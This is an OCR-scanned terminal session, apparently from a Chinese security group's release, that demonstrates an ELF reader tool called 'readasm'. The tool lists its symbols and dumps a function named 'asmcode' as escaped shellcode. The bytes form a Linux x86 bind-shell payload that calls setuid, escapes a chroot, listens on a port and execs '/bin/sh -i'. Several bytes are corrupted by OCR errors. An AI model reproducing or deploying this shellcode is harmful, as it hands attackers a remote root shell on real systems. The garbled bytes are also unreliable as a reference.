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_ http://www.cnhonker.com/index.php?module=releases&act=view&type=3&id=50

[netconf@linux1 netconf]$ ./readasm -h
Elf file reader & asm code read

by bkbll,bkbll@cnhonker.net(1.10)
Usage:./readasm [-f <file>] [-x <address>] [-h

readasm Optigns: [ I 1Tl
-f: the file want to read(defaut is self)

-x: the function address

-h: this screen

. . if nothing,it will show self's function table
RingZ_RgeEdit [netconf@linux1 netconf]$ ./readasm
proftpd Elf file reader & asm code read

by bkbll,bkbll@cnhonker.net(1.10)

[+] Reading file /proc/self/lexe

[+] Program Entry Addr:0x80485bc

[+] Found base address:0x8048000

[@] Read 0x12b bytes from offset 0x3592

[?] finding section .symtab......Got it

[?] finding section .strtab......Got it

[+] Found 104 symbols

[@] Read 0x37f bytes from offset 0x4290

['] number address length type name

[+] 1: 0x0804866¢c 0x0136 FUNC asmcode

[+] 2: 0x080487a2 0x00a0 FUNC usage

[+] 3: 0x08048adc 0x0086 FUNC gethaseaddr

[+] 4: 0x08048cd0 0x0142 FUNC find_symbol_byaddr
[+] 5: 0x08048b62 0x016d FUNC list_sym

[+] 6: 0x08048866 0x0lad FUNC showmem

[+] 7: 0x08048f82 0x0485 FUNC main

[+] 8: 0x08048842 0x001e FUNC ptelfhdr

[+] 9: 0x08048e8c 0x00f5 FUNC prt_machine_code
[+] 10: 0x08048a14 0x00c7 FUNC readfile

[+] 11: 0x08048860 0x0005 FUNC ptelfshd

[+] 12: 0x08048e12 0x0079 FUNC find_section_byname
[netconf@linux1 netconf]$ ./readasm -x 0x0804866¢
Elf file reader & asm code read

by bkbll,bkbll@cnhonker.net(1.10)




[+] Reading file /proc/self/lexe

[+] Program Entry Addr:0x80485bc

[+] Found base address:0x8048000

[@] Read 0x12b bytes from offset 0x3592
[?] finding section .symtab......Got it

[?] finding section .strtab......Got it

[?] finding sym-addr:0x804866c¢......Got it
[+] Symbol nhame:asmcode

[+] Symbol offset:0x66¢

[+] Symbol leng:0x136

[+] machine code:

"\x90\x31\xc0\x31\xdb\x31\xc9\xb0"
"\x17\xcd\x80\x31\xc0\xb0\x2e\xcd"
"\x80\x31\xc0\x50\xb9\x30\x03\x98"
"\x19\x51\x89\xe3\x31\xc9\x51\xb9"
"\xfi\xfe\xfixfix51\x51\x89\xe1"
"\xb0\xb9\xcd\x80\x90\x90\x31\xc0"
"\xb0\xb8\xcd\x80\x90\x90\x31\xc0"
"\xb0\x02\xcd\x80\x39\xc3\x7c\x0c"
"\x31\xc0\xb0\x02\xcd\x80\x39\xc3"
"\x7¢\x02\xeb\x06\x31\xc0\xb0O\x01"
"\xcd\x80\x31\xc0\xb0\x3c\xcd\x80"
"\x31\xc0\x50\x68\x62\x62\x2e\x2¢e"
"\x89\xe3\x43\x31\xc9\xb1\xff\xfe"
"\xc5\xb0\x27\xcd\x80\x31\xcO\xb0"
"\x3d\xcd\x80\x43\xfe\xcd\xb 1 \xff"
"\x31\xc0\xb0\x0c\xcd\x80\xe2\xf8"
"\x43\xb0\x3d\xcd\x80\x31\xc9\x31"
"\xdb\x51\x31\xc0\x51\xb1\x01\x51"
"\xb1\x02\x51\x89\xe1\xb3\x01\xb0"
"\x66\xcd\x80\x89\xc1\x31\xc0\x31"
"\xdb\x50\x50\x50\x66\x68\xb0\xef"
"\xb3\x02\x66\x53\x89\xe2\xb3\x10"
"\x53\xb3\x02\x52\x51\x89\xca\x89"
"\xe1\xb0\x66\xcd\x80\x31\xdb\x39"
"\xc3\x74\x05\x31\xc0\x40\xcd\x80"
"\x31\xc0\x50\x52\x89\xe 1\xb3\x04"
"\xb0\x66\xcd\x80\x89\xd7\x31\xc0"
"\x31\xdb\x31\xc9\xb3\x11\xb1\x01"
"\xb0\x30\xcd\x80\x31\xc0\x31\xdb"
"\x50\x50\x57\x89\xe1\xb3\x05\xb0"
"\x66\xcd\x80\x89\xc6\x31\xc0\x31"
"\xc9\x89\xf3\xb0\x3f\xcd\x80\x31"
"\xc0\x41\xb0\x3f\xcd\x80\x31\xc0"
"\x41\xb0\x3f\Axcd\x80\x31\xc9\x51"
"\x68\x6e\x2f\x73\x68\x68\x 2f\x 2"
"\x62\x69\x89\xe3\x51\x68\x2d\x69"
"\x69\x69\x89\xe2\x51\x52\x53\x89"
"\xe1\x31\xd2\x31\xc0\xb0\x0b\xcd"
"\x80"
[netconf@linux1 netconf]$
shellcode ? asm

) ) shellcode, ,
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